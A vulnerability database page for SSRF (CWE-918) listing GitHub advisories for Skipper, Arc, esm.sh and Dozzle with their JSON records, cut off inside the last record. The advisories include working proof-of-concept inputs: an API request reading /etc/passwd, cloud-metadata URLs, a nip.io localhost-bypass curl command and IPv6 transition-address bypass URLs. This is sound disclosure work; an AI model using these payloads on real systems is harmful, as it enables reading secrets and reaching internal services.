Common Weakness Enumeration

CWE-918

Allowed

Server-Side Request Forgery (SSRF)

Abstraction: Base · Status: Incomplete

API response cwe.mitre.org

The web server receives a URL or similar request from an upstream component and retrieves the contents of this URL, but it does not sufficiently ensure that the request is being sent to the expected destination.

6567 vulnerabilities reference this CWE, most recent first.

GHSA-MXXC-P822-2HX9

Vulnerability from github – Published: 2026-01-26 23:26 – Updated: 2026-01-29 03:24
VLAI
Summary
Skipper Ingress Controller Allows Unauthorized Access to Internal Services via ExternalName
Details

Impact

When running Skipper as an Ingress controller, users with permissions to create an Ingress and a Service of type ExternalName can create routes that enable them to use Skipper's network access to reach internal services.

Patches

https://github.com/zalando/skipper/releases/tag/v0.24.0 disables Kubernetes ExternalName by default.

Workarounds

Developers can allow list targets of an ExternalName by using -kubernetes-only-allowed-external-names=true and allow list via regular expressions -kubernetes-allowed-external-name '^[a-z][a-z0-9-.]+[.].allowed.example$'

References

https://kubernetes.io/docs/concepts/services-networking/service/#externalname

Severity
8.1 (High)
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:N
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{
  "affected": [
    {
      "package": {
        "ecosystem": "Go",
        "name": "github.com/zalando/skipper"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "0.24.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-24470"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-441",
      "CWE-918"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-01-26T23:26:56Z",
    "nvd_published_at": "2026-01-26T23:16:09Z",
    "severity": "HIGH"
  },
  "details": "### Impact\n\nWhen running Skipper as an Ingress controller, users with permissions to create an Ingress and a Service of type ExternalName can create routes that enable them to use Skipper\u0027s network access to reach internal services.\n\n### Patches\n\nhttps://github.com/zalando/skipper/releases/tag/v0.24.0 disables Kubernetes ExternalName by default.\n\n### Workarounds\n\nDevelopers can allow list targets of an ExternalName by using `-kubernetes-only-allowed-external-names=true` and allow list via regular expressions `-kubernetes-allowed-external-name \u0027^[a-z][a-z0-9-.]+[.].allowed.example$\u0027` \n\n### References\n\nhttps://kubernetes.io/docs/concepts/services-networking/service/#externalname",
  "id": "GHSA-mxxc-p822-2hx9",
  "modified": "2026-01-29T03:24:42Z",
  "published": "2026-01-26T23:26:56Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/zalando/skipper/security/advisories/GHSA-mxxc-p822-2hx9"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-24470"
    },
    {
      "type": "WEB",
      "url": "https://github.com/zalando/skipper/commit/a4c87ce029a58eb8e1c2c1f93049194a39cf6219"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/zalando/skipper"
    },
    {
      "type": "WEB",
      "url": "https://github.com/zalando/skipper/releases/tag/v0.24.0"
    },
    {
      "type": "WEB",
      "url": "https://kubernetes.io/docs/concepts/services-networking/service/#externalname"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Skipper Ingress Controller Allows Unauthorized Access to Internal Services via ExternalName"
}

GHSA-P2J4-C4G6-RPF5

Vulnerability from github – Published: 2026-06-08 23:51 – Updated: 2026-06-08 23:51
VLAI
Summary
Arc has an authenticated arbitrary local-file read via DuckDB I/O functions that bypasses RBAC table-level checks
Details

Summary

Arc's user-SQL validator (internal/api/query.go:ValidateSQLRequest) blocked only read_parquet( and arc_partition_agg( via regex denylist. The broader DuckDB I/O function family — read_csv_auto, read_csv, read_json, read_json_auto, read_text, read_blob, glob, parquet_metadata, parquet_schema, read_xlsx, etc. — was not blocked. RBAC table-reference extraction inspected only FROM/JOIN clauses, so scalar table functions in the SELECT list slipped past both layers.

Impact

Any authenticated user, including a token with permissions: [], can read arbitrary local files via:

POST /api/v1/query
Authorization: Bearer <token>
{"sql": "SELECT * FROM read_csv_auto('/etc/passwd', header=false, columns={'l':'VARCHAR'}) LIMIT 5"}

Confirmed reachable targets:

  • auth.db — bcrypt hashes for every API token, plus legacy SHA-256 rows.
  • arc.toml — S3 secrets, TLS keys.
  • /proc/self/environ — environment-variable secrets.
  • Cross-tenant Parquet files — bypasses RBAC because the tenant scope is enforced at the table layer, not on raw file paths.
  • SSRF when httpfs is loaded (any S3-backed deployment) — read_csv_auto('http://169.254.169.254/latest/meta-data/...') reaches instance metadata IPs.

Patches

Fixed in 2026.06.1 (PR #442) via a structural sandbox at the DuckDB layer:

  1. SET GLOBAL allowed_directories = [...] enumerates Arc's legitimate filesystem prefixes (storage roots + tier prefixes + import upload dir + compaction temp).
  2. SET GLOBAL enable_external_access = false (one-way at runtime).
  3. Verified by reading back the flag.

After lockdown, DuckDB refuses to open any file outside the allowlist and refuses further INSTALL/LOAD. Already-loaded extensions remain callable.

Workarounds

  • Restrict API access to known-trusted networks via firewall rules.
  • Temporary mitigation: add read_csv*/read_json*/glob etc. to dangerousSQLPattern in internal/api/query.go pending 2026.06.1.

Credits

Reported by Alex Manson (@NeuroWinter, https://neurowinter.com/) on 2026-05-19.

Severity
7.1 (High)
CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N
Show details on source website
To clipboard 

{
  "affected": [
    {
      "package": {
        "ecosystem": "Go",
        "name": "github.com/basekick-labs/arc"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "0.0.0-20260520141557-91bdc29d1a02"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-47735"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-200",
      "CWE-22",
      "CWE-918"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-06-08T23:51:19Z",
    "nvd_published_at": null,
    "severity": "HIGH"
  },
  "details": "### Summary\n\nArc\u0027s user-SQL validator (`internal/api/query.go:ValidateSQLRequest`) blocked only `read_parquet(` and `arc_partition_agg(` via regex denylist. The broader DuckDB I/O function family \u2014 `read_csv_auto`, `read_csv`, `read_json`, `read_json_auto`, `read_text`, `read_blob`, `glob`, `parquet_metadata`, `parquet_schema`, `read_xlsx`, etc. \u2014 was not blocked. RBAC table-reference extraction inspected only `FROM`/`JOIN` clauses, so scalar table functions in the `SELECT` list slipped past both layers.\n\n### Impact\n\nAny authenticated user, including a token with `permissions: []`, can read arbitrary local files via:\n\n```\nPOST /api/v1/query\nAuthorization: Bearer \u003ctoken\u003e\n{\"sql\": \"SELECT * FROM read_csv_auto(\u0027/etc/passwd\u0027, header=false, columns={\u0027l\u0027:\u0027VARCHAR\u0027}) LIMIT 5\"}\n```\n\nConfirmed reachable targets:\n\n- `auth.db` \u2014 bcrypt hashes for every API token, plus legacy SHA-256 rows.\n- `arc.toml` \u2014 S3 secrets, TLS keys.\n- `/proc/self/environ` \u2014 environment-variable secrets.\n- Cross-tenant Parquet files \u2014 bypasses RBAC because the tenant scope is enforced at the table layer, not on raw file paths.\n- SSRF when `httpfs` is loaded (any S3-backed deployment) \u2014 `read_csv_auto(\u0027http://169.254.169.254/latest/meta-data/...\u0027)` reaches instance metadata IPs.\n\n### Patches\n\nFixed in 2026.06.1 (PR #442) via a structural sandbox at the DuckDB layer:\n\n1. `SET GLOBAL allowed_directories = [...]` enumerates Arc\u0027s legitimate filesystem prefixes (storage roots + tier prefixes + import upload dir + compaction temp).\n2. `SET GLOBAL enable_external_access = false` (one-way at runtime).\n3. Verified by reading back the flag.\n\nAfter lockdown, DuckDB refuses to open any file outside the allowlist and refuses further `INSTALL`/`LOAD`. Already-loaded extensions remain callable.\n\n### Workarounds\n\n- Restrict API access to known-trusted networks via firewall rules.\n- Temporary mitigation: add `read_csv*`/`read_json*`/`glob` etc. to `dangerousSQLPattern` in `internal/api/query.go` pending 2026.06.1.\n\n### Credits\n\nReported by Alex Manson ([@NeuroWinter](https://github.com/NeuroWinter), https://neurowinter.com/) on 2026-05-19.",
  "id": "GHSA-p2j4-c4g6-rpf5",
  "modified": "2026-06-08T23:51:19Z",
  "published": "2026-06-08T23:51:19Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/Basekick-Labs/arc/security/advisories/GHSA-p2j4-c4g6-rpf5"
    },
    {
      "type": "WEB",
      "url": "https://github.com/Basekick-Labs/arc/pull/442"
    },
    {
      "type": "WEB",
      "url": "https://github.com/Basekick-Labs/arc/commit/91bdc29d1a02178ccf8c66375eccf85203108dfb"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/Basekick-Labs/arc"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N",
      "type": "CVSS_V4"
    }
  ],
  "summary": "Arc has an authenticated arbitrary local-file read via DuckDB I/O functions that bypasses RBAC table-level checks"
}

GHSA-P2V6-84H2-5X4R

Vulnerability from github – Published: 2026-02-25 22:57 – Updated: 2026-03-02 16:40
VLAI
Summary
esm.sh has SSRF localhost/private-network bypass in `/http(s)` module route
Details

Summary

An SSRF vulnerability (CWE-918) exists in esm.sh’s /http(s) fetch route.
The service tries to block localhost/internal targets, but the validation is based on hostname string checks and can be bypassed using DNS alias domains (for example, 127.0.0.1.nip.io resolving to 127.0.0.1).
This allows an external requester to make the esm.sh server fetch internal localhost services.
Severity: High (depending on deployment network exposure).

Details

The vulnerable flow starts at the route handling user-controlled remote URLs:

  • server/router.go:532

  • Accepts paths beginning with /http:// or /https://. ```go if strings.HasPrefix(pathname, "/http://") || strings.HasPrefix(pathname, "/https://") { query := ctx.Query() modUrl, err := url.Parse(pathname[1:]) if err != nil { ctx.SetHeader("Cache-Control", ccImmutable) return rex.Status(400, "Invalid URL") } if modUrl.Scheme != "http" && modUrl.Scheme != "https" { ctx.SetHeader("Cache-Control", ccImmutable) return rex.Status(400, "Invalid URL") } modUrlStr := modUrl.String()

    // disallow localhost or ip address for production if !DEBUG { hostname := modUrl.Hostname() if isLocalhost(hostname) || !valid.IsDomain(hostname) || modUrl.Host == ctx.R.Host { ctx.SetHeader("Cache-Control", ccImmutable) return rex.Status(400, "Invalid URL") } }


The internal-target block is string-based:

- `server/router.go:545`
 ```go
            // disallow localhost or ip address for production
            if !DEBUG {
                hostname := modUrl.Hostname()
                if isLocalhost(hostname) || !valid.IsDomain(hostname) || modUrl.Host == ctx.R.Host {
                    ctx.SetHeader("Cache-Control", ccImmutable)
                    return rex.Status(400, "Invalid URL")
                }
            }

Localhost detection itself is limited to hostname patterns:

  • server/utils.go:72
  • isLocalhost(...) checks values like localhost, 127.0.0.1, and 192.168.*.
  • It does not validate the resolved destination IP after DNS resolution.
func isLocalhost(hostname string) bool {
    return hostname == "localhost" || strings.HasSuffix(hostname, ".localhost") || hostname == "127.0.0.1" || (valid.IsIPv4(hostname) && strings.HasPrefix(hostname, "192.168."))
}

Fetch proceeds with host-string allowlisting:

  • server/router.go:595-596
  • allowedHosts[modUrl.Host] = struct{}{} then fetch.NewClient(...allowedHosts)
allowedHosts := map[string]struct{}{}
allowedHosts[modUrl.Host] = struct{}{}
fetchClient, recycle := fetch.NewClient(ctx.UserAgent(), 15, false, allowedHosts)
defer recycle()
  • internal/fetch/fetch.go:49
  • Host allowlist compares host strings, not resolved IP class.
func (c *FetchClient) Fetch(url *url.URL, header http.Header) (resp *http.Response, err error) {
    if c.allowedHosts != nil {
        if _, ok := c.allowedHosts[url.Host]; !ok {
            return nil, errors.New("host not allowed: " + url.Host)
        }
    }
    if c.userAgent != "" {
        if header == nil {
            header = make(http.Header)
        }
        header.Set("User-Agent", c.userAgent)
    }
    // ...
    return c.Do(req)
}

Because validation is based on host strings and not on resolved destination IP ranges, domains that resolve to loopback/private IP can bypass protections.

PoC

Reproduction tested on local Docker deployment.

  1. Run esm.sh:
docker run -d --name esmsh-5558 -p 5558:80 ghcr.io/esm-dev/esm.sh:latest
  1. Run an internal localhost-only test service (secret response) in the same network namespace:
  2. Internal network test server code (app.py):
from flask import Flask, Response

@app.get('/secret.js')
def secret_js():
    return Response('secret;\n', mimetype='application/javascript')

if __name__ == '__main__':
    app.run(host='0.0.0.0', port=5555)

Run the internal Python server container (same network namespace as esmsh-5558):

docker run -d --name internal-5555 --network container:esmsh-5558 \
  -v "<YOUR_PATH>/flask-internal:/app" -w /app \
  python:3.11-alpine sh -lc "pip install --no-cache-dir flask && python app.py"

Since this server has no Docker port forwarding configured, it is not reachable from outside and is only accessible from the esmsh-5558 container connected on the same network.

  1. Since both were running on localhost, I tested it through a Cloudflared tunnel to simulate external access.
cloudflared tunnel --url http://127.0.0.1:5558
  1. Trigger SSRF from outside via esm.sh endpoint:
curl -i "https://ESM.SH_SERVER/http://127.0.0.1.nip.io:5555/secret.js"

127.0.0.1 is blocked, image

but 127.0.0.1.nip.io bypasses the filter. image

This confirms external requesters can fetch internal localhost service content through esm.sh.

Impact

This is a Server-Side Request Forgery vulnerability (CWE-918).

Impacted: - Any esm.sh deployment exposing the /http(s) route to untrusted users. - Environments where internal services are reachable from the esm.sh server/container network.

Potential consequences: - Access to localhost/internal HTTP services not intended for public access. - Internal service discovery/probing through the server. - Exposure of sensitive internal endpoints (deployment-dependent, e.g., metadata/internal admin APIs). - The exploit surface is extension-limited in this route (e.g., ".js", ".ts", ".mjs", ".mts", ".jsx", ".tsx", ".cjs", ".cts", ".vue", ".svelte", ".md", ".css"), so it is not a universal arbitrary-file fetch primitive. - Even with that limitation, attackers can still verify whether internal HTTP services exist and retrieve internal JavaScript/Markdown resources (and similar allowed extension content) when present. - If the internal server is implemented with Apache Tomcat, it may interpret everything after ; as a path parameter in a request such as /asdf/;asdf=a.js. As a result, it could be possible to bypass extension checks while still receiving the response from the intended path.

Severity
8.6 (High)
CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:N/A:N
Show details on source website
To clipboard 

{
  "affected": [
    {
      "package": {
        "ecosystem": "Go",
        "name": "github.com/esm-dev/esm.sh"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "0.0.0-20250616164159-0593516c4cfa"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-27730"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-918"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-02-25T22:57:59Z",
    "nvd_published_at": "2026-02-25T16:23:27Z",
    "severity": "HIGH"
  },
  "details": "### Summary\nAn SSRF vulnerability (CWE-918) exists in esm.sh\u2019s `/http(s)` fetch route.  \nThe service tries to block localhost/internal targets, but the validation is based on hostname string checks and can be bypassed using DNS alias domains (for example, `127.0.0.1.nip.io` resolving to `127.0.0.1`).  \nThis allows an external requester to make the esm.sh server fetch internal localhost services.  \nSeverity:  High (depending on deployment network exposure).\n\n### Details\nThe vulnerable flow starts at the route handling user-controlled remote URLs:\n\n- `server/router.go:532`\n  - Accepts paths beginning with `/http://` or `/https://`.\n ```go\nif strings.HasPrefix(pathname, \"/http://\") || strings.HasPrefix(pathname, \"/https://\") {\n\tquery := ctx.Query()\n\tmodUrl, err := url.Parse(pathname[1:])\n\tif err != nil {\n\t\tctx.SetHeader(\"Cache-Control\", ccImmutable)\n\t\treturn rex.Status(400, \"Invalid URL\")\n\t}\n\tif modUrl.Scheme != \"http\" \u0026\u0026 modUrl.Scheme != \"https\" {\n\t\tctx.SetHeader(\"Cache-Control\", ccImmutable)\n\t\treturn rex.Status(400, \"Invalid URL\")\n\t}\n\tmodUrlStr := modUrl.String()\n\n\t// disallow localhost or ip address for production\n\tif !DEBUG {\n\t\thostname := modUrl.Hostname()\n\t\tif isLocalhost(hostname) || !valid.IsDomain(hostname) || modUrl.Host == ctx.R.Host {\n\t\t\tctx.SetHeader(\"Cache-Control\", ccImmutable)\n\t\t\treturn rex.Status(400, \"Invalid URL\")\n\t\t}\n\t}\n```\n\nThe internal-target block is string-based:\n\n- `server/router.go:545`\n ```go\n\t\t\t// disallow localhost or ip address for production\n\t\t\tif !DEBUG {\n\t\t\t\thostname := modUrl.Hostname()\n\t\t\t\tif isLocalhost(hostname) || !valid.IsDomain(hostname) || modUrl.Host == ctx.R.Host {\n\t\t\t\t\tctx.SetHeader(\"Cache-Control\", ccImmutable)\n\t\t\t\t\treturn rex.Status(400, \"Invalid URL\")\n\t\t\t\t}\n\t\t\t}\n```\n\nLocalhost detection itself is limited to hostname patterns:\n\n- `server/utils.go:72`\n  - `isLocalhost(...)` checks values like `localhost`, `127.0.0.1`, and `192.168.*`.\n  - It does **not** validate the resolved destination IP after DNS resolution.\n```go\nfunc isLocalhost(hostname string) bool {\n\treturn hostname == \"localhost\" || strings.HasSuffix(hostname, \".localhost\") || hostname == \"127.0.0.1\" || (valid.IsIPv4(hostname) \u0026\u0026 strings.HasPrefix(hostname, \"192.168.\"))\n}\n```\n\nFetch proceeds with host-string allowlisting:\n\n- `server/router.go:595-596`\n  - `allowedHosts[modUrl.Host] = struct{}{}` then `fetch.NewClient(...allowedHosts)`\n```go\nallowedHosts := map[string]struct{}{}\nallowedHosts[modUrl.Host] = struct{}{}\nfetchClient, recycle := fetch.NewClient(ctx.UserAgent(), 15, false, allowedHosts)\ndefer recycle()\n```\n\n- `internal/fetch/fetch.go:49`\n  - Host allowlist compares host strings, not resolved IP class.\n```go\nfunc (c *FetchClient) Fetch(url *url.URL, header http.Header) (resp *http.Response, err error) {\n\tif c.allowedHosts != nil {\n\t\tif _, ok := c.allowedHosts[url.Host]; !ok {\n\t\t\treturn nil, errors.New(\"host not allowed: \" + url.Host)\n\t\t}\n\t}\n\tif c.userAgent != \"\" {\n\t\tif header == nil {\n\t\t\theader = make(http.Header)\n\t\t}\n\t\theader.Set(\"User-Agent\", c.userAgent)\n\t}\n\t// ...\n\treturn c.Do(req)\n}\n```\n\nBecause validation is based on host strings and not on resolved destination IP ranges, domains that resolve to loopback/private IP can bypass protections.\n\n### PoC\nReproduction tested on local Docker deployment.\n\n1. Run esm.sh:\n```bash\ndocker run -d --name esmsh-5558 -p 5558:80 ghcr.io/esm-dev/esm.sh:latest\n```\n\n2. Run an internal localhost-only test service (`secret` response) in the same network namespace:\n- Internal network test server code (app.py):\n```python\nfrom flask import Flask, Response\n\n@app.get(\u0027/secret.js\u0027)\ndef secret_js():\n    return Response(\u0027secret;\\n\u0027, mimetype=\u0027application/javascript\u0027)\n\nif __name__ == \u0027__main__\u0027:\n    app.run(host=\u00270.0.0.0\u0027, port=5555)\n```\n\nRun the internal Python server container (same network namespace as `esmsh-5558`):\n```bash\ndocker run -d --name internal-5555 --network container:esmsh-5558 \\\n  -v \"\u003cYOUR_PATH\u003e/flask-internal:/app\" -w /app \\\n  python:3.11-alpine sh -lc \"pip install --no-cache-dir flask \u0026\u0026 python app.py\"\n```\n\nSince this server has no Docker port forwarding configured, it is not reachable from outside and is only accessible from the esmsh-5558 container connected on the same network.\n\n4. Since both were running on localhost, I tested it through a Cloudflared tunnel to simulate external access.\n```bash\ncloudflared tunnel --url http://127.0.0.1:5558\n```\n\n5. Trigger SSRF from outside via esm.sh endpoint:\n```bash\ncurl -i \"https://ESM.SH_SERVER/http://127.0.0.1.nip.io:5555/secret.js\"\n```\n\n127.0.0.1 is blocked,\n\u003cimg width=\"1206\" height=\"322\" alt=\"image\" src=\"https://github.com/user-attachments/assets/054a7675-5b9e-461a-bb55-9ec7a2b2f43b\" /\u003e\n\n\nbut 127.0.0.1.nip.io bypasses the filter. \n\u003cimg width=\"1210\" height=\"336\" alt=\"image\" src=\"https://github.com/user-attachments/assets/95b991b1-ff93-495f-b624-458dd48fd5ff\" /\u003e\n\n\nThis confirms external requesters can fetch internal localhost service content through esm.sh.\n\n### Impact\nThis is a Server-Side Request Forgery vulnerability (CWE-918).\n\nImpacted:\n- Any esm.sh deployment exposing the `/http(s)` route to untrusted users.\n- Environments where internal services are reachable from the esm.sh server/container network.\n\nPotential consequences:\n- Access to localhost/internal HTTP services not intended for public access.\n- Internal service discovery/probing through the server.\n- Exposure of sensitive internal endpoints (deployment-dependent, e.g., metadata/internal admin APIs).\n- The exploit surface is extension-limited in this route (e.g., \".js\", \".ts\", \".mjs\", \".mts\", \".jsx\", \".tsx\", \".cjs\", \".cts\", \".vue\", \".svelte\", \".md\", \".css\"), so it is not a universal arbitrary-file fetch primitive.\n- Even with that limitation, **attackers can still verify whether internal HTTP services exist** and **retrieve internal JavaScript/Markdown resources (and similar allowed extension content) when present.**\n- If the internal server is implemented with Apache Tomcat, it may interpret everything after ; as a path parameter in a request such as /asdf/;asdf=a.js. As a result, **it could be possible to bypass extension checks while still receiving the response from the intended path.**",
  "id": "GHSA-p2v6-84h2-5x4r",
  "modified": "2026-03-02T16:40:47Z",
  "published": "2026-02-25T22:57:59Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/esm-dev/esm.sh/security/advisories/GHSA-p2v6-84h2-5x4r"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-27730"
    },
    {
      "type": "WEB",
      "url": "https://github.com/esm-dev/esm.sh/pull/1149"
    },
    {
      "type": "WEB",
      "url": "https://github.com/esm-dev/esm.sh/commit/0593516c4cfab49ad3b4900416a8432ff2e23eb0"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/esm-dev/esm.sh"
    },
    {
      "type": "WEB",
      "url": "https://github.com/esm-dev/esm.sh/releases/tag/v137"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:N/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "esm.sh has SSRF localhost/private-network bypass in `/http(s)` module route"
}

GHSA-P2W3-6X73-2F6X

Vulnerability from github – Published: 2026-09-08 18:11 – Updated: 2026-09-08 18:11
VLAI
Summary
Dozzle: SSRF guard bypass via IPv6 transition addresses (6to4/NAT64/Teredo) in webhook notification dispatcher
Details

Summary

The isBlockedIP SSRF guard in Dozzle's webhook notification dispatcher blocks loopback, link-local, multicast, and unspecified addresses but does not recognize IPv6 transition mechanism addresses (RFC 3056 6to4, RFC 6052 NAT64, RFC 4380 Teredo) that embed arbitrary IPv4 addresses. An authenticated user can bypass the guard to reach loopback services, cloud metadata endpoints (169.254.169.254), and other blocked ranges via webhook notification URLs.

Affected component / versions

  • Package: github.com/amir20/dozzle
  • Affected versions: all versions with SSRF guard (current HEAD b9df313)
  • Vulnerable code: internal/notification/dispatcher/webhook.go

Details

Root cause (CWE-918)

internal/notification/dispatcher/webhook.go:32-51:

func isBlockedIP(ip net.IP) bool {
    if ip.IsLoopback() ||
        ip.IsLinkLocalUnicast() ||
        ip.IsLinkLocalMulticast() ||
        ip.IsMulticast() ||
        ip.IsInterfaceLocalMulticast() ||
        ip.IsUnspecified() {
        return true
    }
    if v4 := ip.To4(); v4 != nil && zeroNetV4.Contains(v4) {
        return true
    }
    if ip.Equal(net.IPv4bcast) {
        return true
    }
    return false
}

The guard intentionally allows RFC 1918 private ranges for self-hosted webhook targets, but blocks loopback (127.0.0.0/8, ::1), link-local (169.254.0.0/16, fe80::/10), and other non-routable addresses. IPv6 transition mechanism addresses bypass all these checks:

Mechanism Prefix Embeds isBlockedIP result
6to4 2002::/16 any IPv4 in bits 16-47 false
NAT64 WKP 64:ff9b::/96 any IPv4 in bits 96-127 false
Teredo 2001:0000::/32 any IPv4 in bits 96-127 false

Reachability / trust boundary

The safeDialContext function (line 53) resolves hostnames and checks each IP against isBlockedIP before establishing a TCP connection. This is used as the DialContext for the webhook HTTP client (line 115).

Webhook URLs are configured by authenticated Dozzle users through the notification settings UI. The guard exists to prevent authenticated users from using webhook delivery as a proxy to reach the host machine's loopback services or cloud metadata endpoint.

Attack chain

  1. Authenticated user creates a webhook notification with URL http://[2002:7f00:0001::1]:8080/ (6to4 embedding 127.0.0.1)
  2. When a notification triggers, Dozzle's webhook dispatcher calls safeDialContext
  3. The IPv6 address 2002:7f00:0001::1 is checked against isBlockedIP -- all predicates return false
  4. Connection proceeds to the 6to4 relay which routes to 127.0.0.1
  5. The webhook POST reaches the host's loopback services

Impact

An authenticated user can bypass the SSRF guard to:

  • Reach cloud metadata service at 169.254.169.254 via 2002:a9fe:a9fe::1 (6to4) to steal instance credentials
  • Reach localhost services via 64:ff9b::7f00:1 (NAT64) or 2002:7f00:0001::1 (6to4)
  • The webhook response body is logged at debug level but not returned to the user, making this a semi-blind SSRF (status code is returned)

Note: RFC 1918 private ranges are intentionally allowed by the guard. This bypass specifically targets the blocked ranges (loopback and link-local/metadata) that the guard explicitly intends to prevent.

Proof of concept

Bypass vectors:

# 6to4 embedding 127.0.0.1 (bypasses IsLoopback)
http://[2002:7f00:0001::1]:8080/

# NAT64 embedding 169.254.169.254 (bypasses IsLinkLocalUnicast)
http://[64:ff9b::a9fe:a9fe]/latest/meta-data/

# 6to4 embedding 169.254.169.254 (bypasses IsLinkLocalUnicast)
http://[2002:a9fe:a9fe::1]/latest/meta-data/

# Teredo embedding 127.0.0.1
http://[2001:0000:dead:beef:0000:0000:7f00:0001]:8080/

Verification that isBlockedIP returns false for all vectors:

package main

import (
    "fmt"
    "net"
)

func isBlockedIP(ip net.IP) bool {
    return ip.IsLoopback() || ip.IsLinkLocalUnicast() || ip.IsLinkLocalMulticast() ||
        ip.IsMulticast() || ip.IsInterfaceLocalMulticast() || ip.IsUnspecified()
}

func main() {
    for _, v := range []string{
        "2002:7f00:0001::1",    // 6to4 -> 127.0.0.1
        "64:ff9b::a9fe:a9fe",   // NAT64 -> 169.254.169.254
        "2002:a9fe:a9fe::1",    // 6to4 -> 169.254.169.254
    } {
        ip := net.ParseIP(v)
        fmt.Printf("%-35s blocked=%v\n", v, isBlockedIP(ip))
    }
}
// Output: all false

Remediation

Add IPv6 transition mechanism prefix checks to isBlockedIP:

func isBlockedIP(ip net.IP) bool {
    // ... existing checks ...

    // IPv6 transition mechanisms embedding arbitrary IPv4
    if len(ip) == net.IPv6len {
        if ip[0] == 0x20 && ip[1] == 0x02 { return true } // 6to4
        if ip[0] == 0x00 && ip[1] == 0x64 && ip[2] == 0xff && ip[3] == 0x9b { return true } // NAT64
        if ip[0] == 0x20 && ip[1] == 0x01 && ip[2] == 0x00 && ip[3] == 0x00 { return true } // Teredo
    }
    return false
}

Credit

Reported by tonghuaroot (tonghuaroot@gmail.com).

Severity
2.3 (Low)
CVSS:4.0/AV:N/AC:L/AT:P/PR:L/UI:N/VC:L/VI:N/VA:N/SC:N/SI:N/SA:N
Show details on source website
To clipboard 

{
  "affected": [
    {
      "package": {
        "ecosystem": "Go",
        "name": "github.com/amir20/dozzle"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "1.29.1-0.20260804193351-8cf7ccd5ee04"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-73087"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-918"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-09-08T18:11:56Z",
    "nvd_published_at": "2026-08-11T17:19:16Z",
    "severity": "LOW"
  },
  "details": "## Summary\n\nThe `isBlockedIP` SSRF guard in Dozzle\u0027s webhook notification dispatcher blocks loopback, link-local, multicast, and unspecified addresses but does not recognize IPv6 transition mechanism addresses (RFC 3056 6to4, RFC 6052 NAT64, RFC 4380 Teredo) that embed arbitrary IPv4 addresses. An authenticated user can bypass the guard to reach loopback services, cloud metadata endpoints (169.254.169.254), and other blocked ranges via webhook notification URLs.\n\n## Affected component / versions\n\n- Package: `github.com/amir20/dozzle`\n- Affected versions: all versions with SSRF guard (current HEAD [`b9df313`](https://github.com/amir20/dozzle/commit/b9df31356fc024e6768a1aac605844dc041d95ee))\n- Vulnerable code: `internal/notification/dispatcher/webhook.go`\n\n## Details\n\n### Root cause (CWE-918)\n\n[`internal/notification/dispatcher/webhook.go:32-51`](https://github.com/amir20/dozzle/blob/b9df31356fc024e6768a1aac605844dc041d95ee/internal/notification/dispatcher/webhook.go#L32-L51):\n\n```go\nfunc isBlockedIP(ip net.IP) bool {\n\tif ip.IsLoopback() ||\n\t\tip.IsLinkLocalUnicast() ||\n\t\tip.IsLinkLocalMulticast() ||\n\t\tip.IsMulticast() ||\n\t\tip.IsInterfaceLocalMulticast() ||\n\t\tip.IsUnspecified() {\n\t\treturn true\n\t}\n\tif v4 := ip.To4(); v4 != nil \u0026\u0026 zeroNetV4.Contains(v4) {\n\t\treturn true\n\t}\n\tif ip.Equal(net.IPv4bcast) {\n\t\treturn true\n\t}\n\treturn false\n}\n```\n\nThe guard intentionally allows RFC 1918 private ranges for self-hosted webhook targets, but blocks loopback (127.0.0.0/8, ::1), link-local (169.254.0.0/16, fe80::/10), and other non-routable addresses. IPv6 transition mechanism addresses bypass all these checks:\n\n| Mechanism | Prefix | Embeds | `isBlockedIP` result |\n|-----------|--------|--------|---------------------|\n| 6to4 | `2002::/16` | any IPv4 in bits 16-47 | `false` |\n| NAT64 WKP | `64:ff9b::/96` | any IPv4 in bits 96-127 | `false` |\n| Teredo | `2001:0000::/32` | any IPv4 in bits 96-127 | `false` |\n\n### Reachability / trust boundary\n\nThe `safeDialContext` function (line 53) resolves hostnames and checks each IP against `isBlockedIP` before establishing a TCP connection. This is used as the `DialContext` for the webhook HTTP client (line 115).\n\nWebhook URLs are configured by authenticated Dozzle users through the notification settings UI. The guard exists to prevent authenticated 